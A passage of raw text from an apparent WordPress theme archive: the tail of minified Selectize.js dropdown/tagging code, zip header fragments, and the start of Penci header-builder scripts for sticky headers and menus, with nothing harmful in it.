this.settings.create&&"multi"===this.settings.mode&&e===this.settings.delimiter?(this.createItem(),t.preventDefault(),!1):void 0},onKeyDown:function(t){t.target,this.$control_input[0];if(this.isLocked)9!==t.keyCode&&t.preventDefault();else{switch(t.keyCode){case 65:if(this.isCmdDown)return void this.selectAll();break;case 27:return void(this.isOpen&&(t.preventDefault(),t.stopPropagation(),this.close()));case 78:if(!t.ctrlKey||t.altKey)break;case 40:if(!this.isOpen&&this.hasOptions)this.open();else if(this.$activeOption){this.ignoreHover=!0;var e=this.getAdjacentOption(this.$activeOption,1);e.length&&this.setActiveOption(e,!0,!0)}return void t.preventDefault();case 80:if(!t.ctrlKey||t.altKey)break;case 38:if(this.$activeOption){this.ignoreHover=!0;var i=this.getAdjacentOption(this.$activeOption,-1);i.length&&this.setActiveOption(i,!0,!0)}return void t.preventDefault();case 13:return void(this.isOpen&&this.$activeOption&&(this.onOptionSelect({currentTarget:this.$activeOption}),t.preventDefault()));case 37:return void this.advanceSelection(-1,t);case 39:return void this.advanceSelection(1,t);case 9:return this.settings.selectOnTab&&this.isOpen&&this.$activeOption&&(this.onOptionSelect({currentTarget:this.$activeOption}),this.isFull()||t.preventDefault()),void(this.settings.create&&this.createItem()&&t.preventDefault());case 8:case 46:return void this.deleteSelection(t)}!this.isFull()&&!this.isInputHidden||(o?t.metaKey:t.ctrlKey)||t.preventDefault()}},onKeyUp:function(t){if(this.isLocked)return t&&t.preventDefault();var e=this.$control_input.val()||"";this.lastValue!==e&&(this.lastValue=e,this.onSearchChange(e),this.refreshOptions(),this.trigger("type",e))},onSearchChange:function(t){var e=this,i=e.settings.load;i&&(e.loadedSearches.hasOwnProperty(t)||(e.loadedSearches[t]=!0,e.load((function(s){i.apply(e,[t,s])}))))},onFocus:function(t){var e=this.isFocused;if(this.isDisabled)return this.blur(),t&&t.preventDefault(),!1;this.ignoreFocus||(this.isFocused=!0,"focus"===this.settings.preload&&this.onSearchChange(""),e||this.trigger("focus"),this.$activeItems.length||(this.showInput(),this.setActiveItem(null),this.refreshOptions(!!this.settings.openOnFocus)),this.refreshState())},onBlur:function(t,e){var i=this;if(i.isFocused&&(i.isFocused=!1,!i.ignoreFocus)){if(!i.ignoreBlur&&document.activeElement===i.$dropdown_content[0])return i.ignoreBlur=!0,void i.onFocus(t);var s=function(){i.close(),i.setTextboxValue(""),i.setActiveItem(null),i.setActiveOption(null),i.setCaret(i.items.length),i.refreshState(),e&&e.focus(),i.ignoreFocus=!1,i.trigger("blur")};i.ignoreFocus=!0,i.settings.create&&i.settings.createOnBlur?i.createItem(null,!1,s):s()}},onOptionHover:function(t){this.ignoreHover||this.setActiveOption(t.currentTarget,!1)},onOptionSelect:function(e){var i,s,n=this;e.preventDefault&&(e.preventDefault(),e.stopPropagation()),(s=t(e.currentTarget)).hasClass("create")?n.createItem(null,(function(){n.settings.closeAfterSelect&&n.close()})):void 0!==(i=s.attr("data-value"))&&(n.lastQuery=null,n.setTextboxValue(""),n.addItem(i),n.settings.closeAfterSelect?n.close():!n.settings.hideSelected&&e.type&&/mouse/.test(e.type)&&n.setActiveOption(n.getOption(i)))},onItemSelect:function(t){this.isLocked||"multi"===this.settings.mode&&(t.preventDefault(),this.setActiveItem(t.currentTarget,t))},load:function(t){var e=this,i=e.$wrapper.addClass(e.settings.loadingClass);e.loading++,t.apply(e,[function(t){e.loading=Math.max(e.loading-1,0),t&&t.length&&(e.addOption(t),e.refreshOptions(e.isFocused&&!e.isInputHidden)),e.loading||i.removeClass(e.settings.loadingClass),e.trigger("load",t)}])},setTextboxValue:function(t){var e=this.$control_input;e.val()!==t&&(e.val(t).triggerHandler("update"),this.lastValue=t)},getValue:function(){return 1===this.tagType&&this.$input.attr("multiple")?this.items:this.items.join(this.settings.delimiter)},setValue:function(t,e){g(this,e?[]:["change"],(function(){this.clear(e),this.addItems(t,e)}))},setActiveItem:function(e,i){var s,n,o,r,a,l,h,p;if("single"!==this.settings.mode){if(!(e=t(e)).length)return t(this.$activeItems).removeClass("active"),this.$activeItems=[],void(this.isFocused&&this.showInput());if("mousedown"===(s=i&&i.type.toLowerCase())&&this.isShiftDown&&this.$activeItems.length){for(p=this.$control.children(".active:last"),(r=Array.prototype.indexOf.apply(this.$control[0].childNodes,[p[0]]))>(a=Array.prototype.indexOf.apply(this.$control[0].childNodes,[e[0]]))&&(h=r,r=a,a=h),n=r;n<=a;n++)l=this.$control[0].childNodes[n],-1===this.$activeItems.indexOf(l)&&(t(l).addClass("active"),this.$activeItems.push(l));i.preventDefault()}else"mousedown"===s&&this.isCtrlDown||"keydown"===s&&this.isShiftDown?e.hasClass("active")?(o=this.$activeItems.indexOf(e[0]),this.$activeItems.splice(o,1),e.removeClass("active")):this.$activeItems.push(e.addClass("active")[0]):(t(this.$activeItems).removeClass("active"),this.$activeItems=[e.addClass("active")[0]]);this.hideInput(),this.isFocused||this.focus()}},setActiveOption:function(e,i,s){var n,o,r,a,l;this.$activeOption&&this.$activeOption.removeClass("active"),this.$activeOption=null,(e=t(e)).length&&(this.$activeOption=e.addClass("active"),!i&&h(i)||(n=this.$dropdown_content.height(),o=this.$activeOption.outerHeight(!0),i=this.$dropdown_content.scrollTop()||0,a=r=this.$activeOption.offset().top-this.$dropdown_content.offset().top+i,l=r-n+o,r+o>n+i?this.$dropdown_content.stop().animate({scrollTop:l},s?this.settings.scrollDuration:0):r<i&&this.$dropdown_content.stop().animate({scrollTop:a},s?this.settings.scrollDuration:0)))},selectAll:function(){"single"!==this.settings.mode&&(this.$activeItems=Array.prototype.slice.apply(this.$control.children(":not(input)").addClass("active")),this.$activeItems.length&&(this.hideInput(),this.close()),this.focus())},hideInput:function(){this.setTextboxValue(""),this.$control_input.css({opacity:0,position:"absolute",left:this.rtl?1e4:-1e4}),this.isInputHidden=!0},showInput:function(){this.$control_input.css({opacity:1,position:"relative",left:0}),this.isInputHidden=!1},focus:function(){var t=this;t.isDisabled||(t.ignoreFocus=!0,t.$control_input[0].focus(),window.setTimeout((function(){t.ignoreFocus=!1,t.onFocus()}),0))},blur:function(t){this.$control_input[0].blur(),this.onBlur(null,t)},getScoreFunction:function(t){return this.sifter.getScoreFunction(t,this.getSearchOptions())},getSearchOptions:function(){var t=this.settings,e=t.sortField;return"string"==typeof e&&(e=[{field:e}]),{fields:t.searchField,conjunction:t.searchConjunction,sort:e}},search:function(e){var i,s,n,o=this.settings,r=this.getSearchOptions();if(o.score&&"function"!=typeof(n=this.settings.score.apply(this,[e])))throw new Error('Selectize "score" setting must be a function that returns a function');if(e!==this.lastQuery?(this.lastQuery=e,s=this.sifter.search(e,t.extend(r,{score:n})),this.currentResults=s):s=t.extend(!0,{},this.currentResults),o.hideSelected)for(i=s.items.length-1;i>=0;i--)-1!==this.items.indexOf(p(s.items[i].id))&&s.items.splice(i,1);return s},refreshOptions:function(e){var i,n,o,r,a,l,h,u,c,d,g,f,v,m,y,w;void 0===e&&(e=!0);var O,C,$=this,b=t.trim($.$control_input.val()),x=$.search(b),S=$.$dropdown_content,I=$.$activeOption&&p($.$activeOption.attr("data-value"));for(r=x.items.length,"number"==typeof $.settings.maxOptions&&(r=Math.min(r,$.settings.maxOptions)),a={},l=[],i=0;i<r;i++)for(h=$.options[x.items[i].id],u=$.render("option",h),c=h[$.settings.optgroupField]||"",d=t.isArray(c)?c:[c],t(u).removeClass("selected"),n=0,o=d&&d.length;n<o;n++)c=d[n],$.optgroups.hasOwnProperty(c)||(c=""),a.hasOwnProperty(c)||(a[c]=document.createDocumentFragment(),l.push(c)),a[c].appendChild(u);for(this.settings.lockOptgroupOrder&&l.sort((function(t,e){return($.optgroups[t].$order||0)-($.optgroups[e].$order||0)})),g=document.createDocumentFragment(),i=0,r=l.length;i<r;i++)c=l[i],$.optgroups.hasOwnProperty(c)&&a[c].childNodes.length?((f=document.createDocumentFragment()).appendChild($.render("optgroup_header",$.optgroups[c])),f.appendChild(a[c]),g.appendChild($.render("optgroup",t.extend({},$.optgroups[c],{html:(O=f,C=void 0,C=document.createElement("div"),C.appendChild(O.cloneNode(!0)),C.innerHTML),dom:f})))):g.appendChild(a[c]);if(S.html(g),$.settings.highlight&&x.query.length&&x.tokens.length)for(i=0,r=x.tokens.length;i<r;i++)s(S,x.tokens[i].regex);if(!$.settings.hideSelected)for(i=0,r=$.items.length;i<r;i++)$.getOption($.items[i]).addClass("selected");(v=$.canCreate(b))&&(S.prepend($.render("option_create",{input:b})),w=t(S[0].childNodes[0])),$.hasOptions=x.items.length>0||v,$.hasOptions?(x.items.length>0?((y=I&&$.getOption(I))&&y.length?m=y:"single"===$.settings.mode&&$.items.length&&(m=$.getOption($.items[0])),m&&m.length||(m=w&&!$.settings.addPrecedence?$.getAdjacentOption(w,1):S.find("[data-selectable]:first"))):m=w,$.setActiveOption(m),e&&!$.isOpen&&$.open()):($.setActiveOption(null),e&&$.isOpen&&$.close())},addOption:function(e){var i,s,n;if(t.isArray(e))for(i=0,s=e.length;i<s;i++)this.addOption(e[i]);else(n=this.registerOption(e))&&(this.userOptions[n]=!0,this.lastQuery=null,this.trigger("option_add",n,e))},registerOption:function(t){var e=p(t[this.settings.valueField]);return null!=e&&!this.options.hasOwnProperty(e)&&(t.$order=t.$order||++this.order,this.options[e]=t,e)},registerOptionGroup:function(t){var e=p(t[this.settings.optgroupValueField]);return!!e&&(t.$order=t.$order||++this.order,this.optgroups[e]=t,e)},addOptionGroup:function(t,e){e[this.settings.optgroupValueField]=t,(t=this.registerOptionGroup(e))&&this.trigger("optgroup_add",t,e)},removeOptionGroup:function(t){this.optgroups.hasOwnProperty(t)&&(delete this.optgroups[t],this.renderCache={},this.trigger("optgroup_remove",t))},clearOptionGroups:function(){this.optgroups={},this.renderCache={},this.trigger("optgroup_clear")},updateOption:function(e,i){var s,n,o,r,a,l,h;if(e=p(e),o=p(i[this.settings.valueField]),null!==e&&this.options.hasOwnProperty(e)){if("string"!=typeof o)throw new Error("Value must be set in option data");h=this.options[e].$order,o!==e&&(delete this.options[e],-1!==(r=this.items.indexOf(e))&&this.items.splice(r,1,o)),i.$order=i.$order||h,this.options[o]=i,a=this.renderCache.item,l=this.renderCache.option,a&&(delete a[e],delete a[o]),l&&(delete l[e],delete l[o]),-1!==this.items.indexOf(o)&&(s=this.getItem(e),n=t(this.render("item",i)),s.hasClass("active")&&n.addClass("active"),s.replaceWith(n)),this.lastQuery=null,this.isOpen&&this.refreshOptions(!1)}},removeOption:function(t,e){t=p(t);var i=this.renderCache.item,s=this.renderCache.option;i&&delete i[t],s&&delete s[t],delete this.userOptions[t],delete this.options[t],this.lastQuery=null,this.trigger("option_remove",t),this.removeItem(t,e)},clearOptions:function(){this.loadedSearches={},this.userOptions={},this.renderCache={},this.options=this.sifter.items={},this.lastQuery=null,this.trigger("option_clear"),this.clear()},getOption:function(t){return this.getElementWithValue(t,this.$dropdown_content.find("[data-selectable]"))},getAdjacentOption:function(e,i){var s=this.$dropdown.find("[data-selectable]"),n=s.index(e)+i;return n>=0&&n<s.length?s.eq(n):t()},getElementWithValue:function(e,i){if(null!=(e=p(e)))for(var s=0,n=i.length;s<n;s++)if(i[s].getAttribute("data-value")===e)return t(i[s]);return t()},getItem:function(t){return this.getElementWithValue(t,this.$control.children())},addItems:function(e,i){for(var s=t.isArray(e)?e:[e],n=0,o=s.length;n<o;n++)this.isPending=n<o-1,this.addItem(s[n],i)},addItem:function(e,i){g(this,i?[]:["change"],(function(){var s,n,o,r,a,l=this.settings.mode;e=p(e),-1===this.items.indexOf(e)?this.options.hasOwnProperty(e)&&("single"===l&&this.clear(i),"multi"===l&&this.isFull()||(s=t(this.render("item",this.options[e])),a=this.isFull(),this.items.splice(this.caretPos,0,e),this.insertAtCaret(s),(!this.isPending||!a&&this.isFull())&&this.refreshState(),this.isSetup&&(o=this.$dropdown_content.find("[data-selectable]"),this.isPending||(n=this.getOption(e),r=this.getAdjacentOption(n,1).attr("data-value"),this.refreshOptions(this.isFocused&&"single"!==l),r&&this.setActiveOption(this.getOption(r))),!o.length||this.isFull()?this.close():this.positionDropdown(),this.updatePlaceholder(),this.trigger("item_add",e,s),this.updateOriginalInput({silent:i})))):"single"===l&&this.close()}))},removeItem:function(e,i){var s,n,o;s=e instanceof t?e:this.getItem(e),e=p(s.attr("data-value")),-1!==(n=this.items.indexOf(e))&&(s.remove(),s.hasClass("active")&&(o=this.$activeItems.indexOf(s[0]),this.$activeItems.splice(o,1)),this.items.splice(n,1),this.lastQuery=null,!this.settings.persist&&this.userOptions.hasOwnProperty(e)&&this.removeOption(e,i),n<this.caretPos&&this.setCaret(this.caretPos-1),this.refreshState(),this.updatePlaceholder(),this.updateOriginalInput({silent:i}),this.positionDropdown(),this.trigger("item_remove",e,s))},createItem:function(e,i){var s=this,n=s.caretPos;e=e||t.trim(s.$control_input.val()||"");var o=arguments[arguments.length-1];if("function"!=typeof o&&(o=function(){}),"boolean"!=typeof i&&(i=!0),!s.canCreate(e))return o(),!1;s.lock();var r="function"==typeof s.settings.create?this.settings.create:function(t){var e={};return e[s.settings.labelField]=t,e[s.settings.valueField]=t,e},a=d((function(t){if(s.unlock(),!t||"object"!=typeof t)return o();var e=p(t[s.settings.valueField]);if("string"!=typeof e)return o();s.setTextboxValue(""),s.addOption(t),s.setCaret(n),s.addItem(e),s.refreshOptions(i&&"single"!==s.settings.mode),o(t)})),l=r.apply(this,[e,a]);return void 0!==l&&a(l),!0},refreshItems:function(){this.lastQuery=null,this.isSetup&&this.addItem(this.items),this.refreshState(),this.updateOriginalInput()},refreshState:function(){this.isRequired&&(this.items.length&&(this.isInvalid=!1),this.$control_input.prop("required",void 0)),this.refreshClasses()},refreshClasses:function(){var e=this.isFull(),i=this.isLocked;this.$wrapper.toggleClass("rtl",this.rtl),this.$control.toggleClass("focus",this.isFocused).toggleClass("disabled",this.isDisabled).toggleClass("required",this.isRequired).toggleClass("invalid",this.isInvalid).toggleClass("locked",i).toggleClass("full",e).toggleClass("not-full",!e).toggleClass("input-active",this.isFocused&&!this.isInputHidden).toggleClass("dropdown-active",this.isOpen).toggleClass("has-options",!t.isEmptyObject(this.options)).toggleClass("has-items",this.items.length>0),this.$control_input.data("grow",!e&&!i)},isFull:function(){return null!==this.settings.maxItems&&this.items.length>=this.settings.maxItems},updateOriginalInput:function(t){var e,i,s,n;if(t=t||{},1===this.tagType){for(s=[],e=0,i=this.items.length;e<i;e++)n=this.options[this.items[e]][this.settings.labelField]||"",s.push('<option value="'+u(this.items[e])+'" selected="selected">'+u(n)+"</option>");s.length||this.$input.attr("multiple")||s.push('<option value="" selected="selected"></option>'),this.$input.html(s.join(""))}else this.$input.val(this.getValue()),this.$input.attr("value",this.$input.val());this.isSetup&&(t.silent||this.trigger("change",this.$input.val()))},updatePlaceholder:function(){if(this.settings.placeholder){var t=this.$control_input;this.items.length?t.removeAttr("placeholder"):t.attr("placeholder",this.settings.placeholder),t.triggerHandler("update",{force:!0})}},open:function(){this.isLocked||this.isOpen||"multi"===this.settings.mode&&this.isFull()||(this.focus(),this.isOpen=!0,this.refreshState(),this.$dropdown.css({visibility:"hidden",display:"block"}),this.positionDropdown(),this.$dropdown.css({visibility:"visible"}),this.trigger("dropdown_open",this.$dropdown))},close:function(){var t=this.isOpen;"single"===this.settings.mode&&this.items.length&&this.hideInput(),this.isOpen=!1,this.$dropdown.hide(),this.setActiveOption(null),this.refreshState(),t&&this.trigger("dropdown_close",this.$dropdown)},positionDropdown:function(){var t=this.$control,e="body"===this.settings.dropdownParent?t.offset():t.position();e.top+=t.outerHeight(!0),this.$dropdown.css({width:t.outerWidth(),top:e.top,left:e.left})},clear:function(t){this.items.length&&(this.$control.children(":not(input)").remove(),this.items=[],this.lastQuery=null,this.setCaret(0),this.setActiveItem(null),this.updatePlaceholder(),this.updateOriginalInput({silent:t}),this.refreshState(),this.showInput(),this.trigger("clear"))},insertAtCaret:function(e){var i=Math.min(this.caretPos,this.items.length);0===i?this.$control.prepend(e):t(this.$control[0].childNodes[i]).before(e),this.setCaret(i+1)},deleteSelection:function(e){var i,s,n,o,r,a,l,h,p;if(n=e&&8===e.keyCode?-1:1,o=f(this.$control_input[0]),this.$activeOption&&!this.settings.hideSelected&&(l=this.getAdjacentOption(this.$activeOption,-1).attr("data-value")),r=[],this.$activeItems.length){for(p=this.$control.children(".active:"+(n>0?"last":"first")),a=this.$control.children(":not(input)").index(p),n>0&&a++,i=0,s=this.$activeItems.length;i<s;i++)r.push(t(this.$activeItems[i]).attr("data-value"));e&&(e.preventDefault(),e.stopPropagation())}else(this.isFocused||"single"===this.settings.mode)&&this.items.length&&(n<0&&0===o.start&&0===o.length?r.push(this.items[this.caretPos-1]):n>0&&o.start===this.$control_input.val().length&&r.push(this.items[this.caretPos]));if(!r.length||"function"==typeof this.settings.onDelete&&!1===this.settings.onDelete.apply(this,[r]))return!1;for(void 0!==a&&this.setCaret(a);r.length;)this.removeItem(r.pop());return this.showInput(),this.positionDropdown(),this.refreshOptions(!0),l&&(h=this.getOption(l)).length&&this.setActiveOption(h),!0},advanceSelection:function(t,e){var i,s,n,o,r;0!==t&&(this.rtl&&(t*=-1),i=t>0?"last":"first",s=f(this.$control_input[0]),this.isFocused&&!this.isInputHidden?(o=this.$control_input.val().length,(t<0?0===s.start&&0===s.length:s.start===o)&&!o&&this.advanceCaret(t,e)):(r=this.$control.children(".active:"+i)).length&&(n=this.$control.children(":not(input)").index(r),this.setActiveItem(null),this.setCaret(t>0?n+1:n)))},advanceCaret:function(t,e){var i,s;0!==t&&(i=t>0?"next":"prev",this.isShiftDown?(s=this.$control_input[i]()).length&&(this.hideInput(),this.setActiveItem(s),e&&e.preventDefault()):this.setCaret(this.caretPos+t))},setCaret:function(e){var i,s,n,o;if(e="single"===this.settings.mode?this.items.length:Math.max(0,Math.min(this.items.length,e)),!this.isPending)for(i=0,s=(n=this.$control.children(":not(input)")).length;i<s;i++)o=t(n[i]).detach(),i<e?this.$control_input.before(o):this.$control.append(o);this.caretPos=e},lock:function(){this.close(),this.isLocked=!0,this.refreshState()},unlock:function(){this.isLocked=!1,this.refreshState()},disable:function(){this.$input.prop("disabled",!0),this.$control_input.prop("disabled",!0).prop("tabindex",-1),this.isDisabled=!0,this.lock()},enable:function(){this.$input.prop("disabled",!1),this.$control_input.prop("disabled",!1).prop("tabindex",this.tabIndex),this.isDisabled=!1,this.unlock()},destroy:function(){var e=this.eventNS,i=this.revertSettings;this.trigger("destroy"),this.off(),this.$wrapper.remove(),this.$dropdown.remove(),this.$input.html("").append(i.$children).removeAttr("tabindex").removeClass("selectized").attr({tabindex:i.tabindex}).show(),this.$control_input.removeData("grow"),this.$input.removeData("selectize"),t(window).off(e),t(document).off(e),t(document.body).off(e),delete this.$input[0].selectize},render:function(e,i){var s,n,o="",r=!1;return"option"!==e&&"item"!==e||(r=!!(s=p(i[this.settings.valueField]))),r&&(h(this.renderCache[e])||(this.renderCache[e]={}),this.renderCache[e].hasOwnProperty(s))?this.renderCache[e][s]:(o=t(this.settings.render[e].apply(this,[i,u])),"option"===e||"option_create"===e?o.attr("data-selectable",""):"optgroup"===e&&(n=i[this.settings.optgroupValueField]||"",o.attr("data-group",n)),"option"!==e&&"item"!==e||o.attr("data-value",s||""),r&&(this.renderCache[e][s]=o[0]),o[0])},clearCache:function(t){void 0===t?this.renderCache={}:delete this.renderCache[t]},canCreate:function(t){if(!this.settings.create)return!1;var e=this.settings.createFilter;return t.length&&("function"!=typeof e||e.apply(this,[t]))&&("string"!=typeof e||new RegExp(e).test(t))&&(!(e instanceof RegExp)||e.test(t))}}),m.count=0,m.defaults={options:[],optgroups:[],plugins:[],delimiter:",",splitOn:null,persist:!0,diacritics:!0,create:!1,createOnBlur:!1,createFilter:null,highlight:!0,openOnFocus:!0,maxOptions:1e3,maxItems:null,hideSelected:null,addPrecedence:!1,selectOnTab:!1,preload:!1,allowEmptyOption:!1,closeAfterSelect:!1,scrollDuration:60,loadThrottle:300,loadingClass:"loading",dataAttr:"data-data",optgroupField:"optgroup",valueField:"value",labelField:"text",optgroupLabelField:"label",optgroupValueField:"value",lockOptgroupOrder:!1,sortField:"$order",searchField:["text"],searchConjunction:"and",mode:null,wrapperClass:"selectize-control",inputClass:"selectize-input",dropdownClass:"selectize-dropdown",dropdownContentClass:"selectize-dropdown-content",dropdownParent:null,copyClassesToDropdown:!0,render:{}},t.fn.selectize=function(e){var i=t.fn.selectize.defaults,s=t.extend({},i,e),n=s.dataAttr,o=s.labelField,r=s.valueField,a=s.optgroupField,l=s.optgroupLabelField,h=s.optgroupValueField;return this.each((function(){if(!this.selectize){var u=t(this),c=this.tagName.toLowerCase(),d=u.attr("placeholder")||u.attr("data-placeholder");d||s.allowEmptyOption||(d=u.children('option[value=""]').text());var g={placeholder:d,options:[],optgroups:[],items:[]};"select"===c?function(e,i){var u,c,d,g,f=i.options,v={},m=function(t){var e=n&&t.attr(n);return"string"==typeof e&&e.length?JSON.parse(e):null},y=function(e,n){e=t(e);var l=p(e.val());if(l||s.allowEmptyOption)if(v.hasOwnProperty(l)){if(n){var h=v[l][a];h?t.isArray(h)?h.push(n):v[l][a]=[h,n]:v[l][a]=n}}else{var u=m(e)||{};u[o]=u[o]||e.text(),u[r]=u[r]||l,u[a]=u[a]||n,v[l]=u,f.push(u),e.is(":selected")&&i.items.push(l)}},w=function(e){var s,n,o,r,a;for((o=(e=t(e)).attr("label"))&&((r=m(e)||{})[l]=o,r[h]=o,i.optgroups.push(r)),s=0,n=(a=t("option",e)).length;s<n;s++)y(a[s],o)};for(i.maxItems=e.attr("multiple")?null:1,u=0,c=(g=e.children()).length;u<c;u++)"optgroup"===(d=g[u].tagName.toLowerCase())?w(g[u]):"option"===d&&y(g[u])}(u,g):function(e,i){var a,l,h,p,u=e.attr(n);if(u)for(i.options=JSON.parse(u),a=0,l=i.options.length;a<l;a++)i.items.push(i.options[a][r]);else{var c=t.trim(e.val()||"");if(!s.allowEmptyOption&&!c.length)return;for(a=0,l=(h=c.split(s.delimiter)).length;a<l;a++)(p={})[o]=h[a],p[r]=h[a],i.options.push(p);i.items=h}}(u,g),new m(u,t.extend(!0,{},i,g,e))}}))},t.fn.selectize.defaults=m.defaults,t.fn.selectize.support={validity:l},m.define("drag_drop",(function(e){if(!t.fn.sortable)throw new Error('The "drag_drop" plugin requires jQuery UI "sortable".');if("multi"===this.settings.mode){var i,s=this;s.lock=(i=s.lock,function(){var t=s.$control.data("sortable");return t&&t.disable(),i.apply(s,arguments)}),s.unlock=function(){var t=s.unlock;return function(){var e=s.$control.data("sortable");return e&&e.enable(),t.apply(s,arguments)}}(),s.setup=function(){var e=s.setup;return function(){e.apply(this,arguments);var i=s.$control.sortable({items:"[data-value]",forcePlaceholderSize:!0,disabled:s.isLocked,start:function(t,e){e.placeholder.css("width",e.helper.css("width")),i.css({overflow:"visible"})},stop:function(){i.css({overflow:"hidden"});var e=s.$activeItems?s.$activeItems.slice():null,n=[];i.children("[data-value]").each((function(){n.push(t(this).attr("data-value"))})),s.setValue(n),s.setActiveItem(e)}})}}()}})),m.define("dropdown_header",(function(e){var i,s=this;e=t.extend({title:"Untitled",headerClass:"selectize-dropdown-header",titleRowClass:"selectize-dropdown-header-title",labelClass:"selectize-dropdown-header-label",closeClass:"selectize-dropdown-header-close",html:function(t){return'<div class="'+t.headerClass+'"><div class="'+t.titleRowClass+'"><span class="'+t.labelClass+'">'+t.title+'</span><a href="javascript:void(0)" class="'+t.closeClass+'">&times;</a></div></div>'}},e),s.setup=(i=s.setup,function(){i.apply(s,arguments),s.$dropdown_header=t(e.html(e)),s.$dropdown.prepend(s.$dropdown_header)})})),m.define("optgroup_columns",(function(e){var i,s=this;e=t.extend({equalizeWidth:!0,equalizeHeight:!0},e),this.getAdjacentOption=function(e,i){var s=e.closest("[data-group]").find("[data-selectable]"),n=s.index(e)+i;return n>=0&&n<s.length?s.eq(n):t()},this.onKeyDown=(i=s.onKeyDown,function(t){var e,n,o,r;return!this.isOpen||37!==t.keyCode&&39!==t.keyCode?i.apply(this,arguments):(s.ignoreHover=!0,e=(r=this.$activeOption.closest("[data-group]")).find("[data-selectable]").index(this.$activeOption),void((n=(o=(r=37===t.keyCode?r.prev("[data-group]"):r.next("[data-group]")).find("[data-selectable]")).eq(Math.min(o.length-1,e))).length&&this.setActiveOption(n)))});var n=function(){var t,e=n.width,i=document;return void 0===e&&((t=i.createElement("div")).innerHTML='<div style="width:50px;height:50px;position:absolute;left:-50px;top:-50px;overflow:auto;"><div style="width:1px;height:100px;"></div></div>',t=t.firstChild,i.body.appendChild(t),e=n.width=t.offsetWidth-t.clientWidth,i.body.removeChild(t)),e},o=function(){var i,o,r,a,l,h,p;if((o=(p=t("[data-group]",s.$dropdown_content)).length)&&s.$dropdown_content.width()){if(e.equalizeHeight){for(r=0,i=0;i<o;i++)r=Math.max(r,p.eq(i).height());p.css({height:r})}e.equalizeWidth&&(h=s.$dropdown_content.innerWidth()-n(),a=Math.round(h/o),p.css({width:a}),o>1&&(l=h-a*(o-1),p.eq(o-1).css({width:l})))}};(e.equalizeHeight||e.equalizeWidth)&&(c.after(this,"positionDropdown",o),c.after(this,"refreshOptions",o))})),m.define("remove_button",(function(e){e=t.extend({label:"&times;",title:"Remove",className:"remove",append:!0},e);"single"!==this.settings.mode?function(e,i){var s,n=e,o='<a href="javascript:void(0)" class="'+i.className+'" tabindex="-1" title="'+u(i.title)+'">'+i.label+"</a>",r=function(t,e){var i=t.search(/(<\/[^>]+>\s*)$/);return t.substring(0,i)+e+t.substring(i)};e.setup=(s=n.setup,function(){if(i.append){var a=n.settings.render.item;n.settings.render.item=function(t){return r(a.apply(e,arguments),o)}}s.apply(e,arguments),e.$control.on("click","."+i.className,(function(e){if(e.preventDefault(),!n.isLocked){var i=t(e.currentTarget).parent();n.setActiveItem(i),n.deleteSelection()&&n.setCaret(n.items.length)}}))})}(this,e):function(e,i){i.className="remove-single";var s,n=e,o='<a href="javascript:void(0)" class="'+i.className+'" tabindex="-1" title="'+u(i.title)+'">'+i.label+"</a>",r=function(t,e){return t+e};e.setup=(s=n.setup,function(){if(i.append){var a=t(n.$input.context).attr("id"),l=(t("#"+a),n.settings.render.item);n.settings.render.item=function(t){return r(l.apply(e,arguments),o)}}s.apply(e,arguments),e.$control.on("click","."+i.className,(function(t){t.preventDefault(),n.isLocked||n.clear()}))})}(this,e)})),m.define("restore_on_backspace",(function(t){var e,i=this;t.text=t.text||function(t){return t[this.settings.labelField]},this.onKeyDown=(e=i.onKeyDown,function(i){var s,n;return 8===i.keyCode&&""===this.$control_input.val()&&!this.$activeItems.length&&(s=this.caretPos-1)>=0&&s<this.items.length?(n=this.options[this.items[s]],this.deleteSelection(i)&&(this.setTextboxValue(t.text.apply(this,[n])),this.refreshOptions(!0)),void i.preventDefault()):e.apply(this,arguments)})})),m}));
PK     N\|T5      inc/builder/assets/js/admin.jsnu [        !function (e, $) {
    $(document).on('click', '.penci-builder-button.customize .button', function (e) {
        var href = $(this).data('href');
        e.preventDefault();
        $(window).off('beforeunload');
        window.location.href = href;
    });
}(wp, jQuery);
PK     N\;|    -  inc/builder/assets/js/penci-header-builder.jsnu [        (function ($) {
    "use strict";
    var PENCI = PENCI || {};
    PENCI.sticky_header = function () {
        var headersticky = $(".penci_header.penci_builder_sticky_header_desktop"),
            headertop = $(".penci_header.penci-header-builder.main-builder-header"),
            headernormal = headertop.outerHeight() + 20,
            headermobile = $(".penci_navbar_mobile"),
            lastScrollTop = 0;

        $(window).on("scroll", function () {
            var st = $(this).scrollTop();

            if (st > headernormal) {
                if (headersticky.length) {
                    headersticky.addClass("sticky-apply");
                    headertop.addClass("ns-apply");
                }
            } else {
                if (headersticky.length) {
                    headersticky.removeClass("sticky-apply");
                    headertop.removeClass("ns-apply");
                }
            }

            if (st > headermobile.outerHeight()) {
                headermobile.addClass("mobile-sticky");
            } else {
                headermobile.removeClass("mobile-sticky");
            }

            if (st > lastScrollTop) {
                headersticky.addClass("scrolldown").removeClass("scrollup");
                headermobile.addClass("scrolldown").removeClass("scrollup");
            } else {
                headersticky.addClass("scrollup").removeClass("scrolldown");
                headermobile.addClass("scrollup").removeClass("scrolldown");
            }
            lastScrollTop = st;
        });
    };

    PENCI.main_menu = function () {
        $(".navigation ul.menu > li.penci-mega-menu").on("mouseenter", function () {
            var $this = $(this),
                $row_active = $this.find(".row-active"),
                $rowsLazy = $row_active.find(".penci-lazy");
            $row_active.fadeIn("200").css("display", "inline-block");
        });

        $(".navigation .penci-mega-child-categories a").on(
            "mouseenter",
            function () {
                if ($(this).hasClass("mega-normal-child")) {
                    return;
                }
                if (!$(this).hasClass("cat-active")) {
                    var $this = $(this),
                        $row_active = $this.data("id"),
                        $parentA = $this.parent().children("a"),
                        $parent = $this.closest(".penci-megamenu"),
                        $rows = $this
                            .closest(".penci-megamenu")
                            .find(".penci-mega-latest-posts")
                            .children(".penci-mega-row");
                    $parentA.removeClass("cat-active");
                    $this.addClass("cat-active");
                    $rows.hide();
                    $rows.removeClass("row-active");
                    $parent
                        .find("." + $row_active)
                        .fadeIn("300")
                        .css("display", "inline-block")
                        .addClass("row-active");
                }
            }
        );
    };

    PENCI.mobile_menu = function () {
        // Add indicator

        // Toggle menu when click show/hide menu
        $(".navigation .button-menu-mobile").on("click", function () {
            $("body").addClass("open-mobile-builder-sidebar-nav");
        });

        $(
            ".pc-builder-element nav.penci-vernav-cparent li.menu-item-has-children > a"
        ).on("click", function (e) {
            var $this = $(this);
            e.preventDefault();
            $this.children().children().toggleClass("fa-angle-up");
            $this.next().slideToggle("fast");
        });

        // Close sidebar nav
        $("#close-sidebar-nav").on("click", function () {
            $("body").removeClass("open-sidebar-nav");
        });

